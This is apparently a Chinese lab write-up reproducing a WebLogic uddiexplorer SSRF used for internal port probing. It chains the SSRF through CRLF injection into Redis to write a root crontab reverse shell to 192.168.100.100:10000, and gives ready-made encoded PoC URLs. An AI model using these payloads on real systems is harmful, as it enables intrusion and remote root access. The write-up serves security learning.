User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.100.104:7001/uddiexplorer/SearchPublicRegistries.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; 7e62ac66dc5323ebb973d2293ba94062=9e9ea928888f8952f5de320f6c063f2b; 7ee036c89e5082739c315432c50c311c=a51a28108efa904bec296d86b9fd54cd; joomla_user_state=logged_in; JSESSIONID=jn8FnPVX5ZFdzx1Zr7Jhhsv7f2xrl3VRX3PTLt1JH7ZwHjWrxVJn!1734803265
Connection: close
operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search也可以是
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: 192.168.100.104:7001
Content-Length: 0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.100.104:7001
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.100.104:7001/uddiexplorer/SearchPublicRegistries.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; 7e62ac66dc5323ebb973d2293ba94062=9e9ea928888f8952f5de320f6c063f2b; 7ee036c89e5082739c315432c50c311c=a51a28108efa904bec296d86b9fd54cd; joomla_user_state=logged_in; JSESSIONID=GzGjnPpXwDRpCrFKTfmcJzzyTxyqhGL9TSzQ67r2nyhFtQGKDymc!-1437518929
Connection: close
测试

端口存在
端口存在返回状态码 returned a 404 error code
修改为一个不存在的端口,
端口不存在
端口不存在将会返回 but could not connect over HTTP to server

访问非http协议
访问非http协议:did not have a valid SOAP content-type 协议没写:no protocol

通过错误的不同,即可探测内网状态。
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.100.100/10000 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aa编码后
%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%30%2e%31%30%30%2f%31%30%30%30%30%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0a%73%61%76%65%0a%61%61POC
打Radis服务,端口6379
http://172.30.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.100.100%2F10000%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaa反正poc就是这个
http://192.168.100.104:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.22.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.100.100%2F10000%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaa这个漏洞就先放下了,因为原来靶场的环境redis是vulhub/baselinux:centos-6
但是这个无法启动,我只能把redis更换为6.2了,
但是换成6.2有安全保护机制,会拦截攻击。。。
28:M 04 Dec 2024 17:23:30.377 # 检测到可能的安全攻击。似乎有人正在向 Redis 发送 POST 或 Host: 命令。这可能是由于攻击者试图使用跨协议脚本来破坏您的 Redis 实例。连接已中止。

山外青山楼外楼
后面居然百度出来了解决办法
环境
Linux kali 5.8.0-kali3-amd64 #1 SMP Debian 5.8.14-1kali1 (2020-10-13) x86_64 GNU/Linux
解决办法
修改文件:/etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="vsyscall=emulate"

执行sudo su以root用户 身份执行命令update-grub
然后重启系统。
其他
找了好久最后在这里找到的解决方法https://unix.stackexchange.com/questions/478387/running-a-centos-docker-image-on-arch-linux-exits-with-code-139
看了好多说是内核配置问题,导致centos6.x版本的docker镜像不能调用所需的模块,在较高版本的系统中容易出现。如果有大佬的话可以教教我具体的原理。这里就先做到能用就行吧。
然后重新拉取

OK,完美成功

发POC

redis启用monitor监控

成功收到反弹shell

引自
https://blog.51cto.com/u_15878568/5954939
-.-
评论区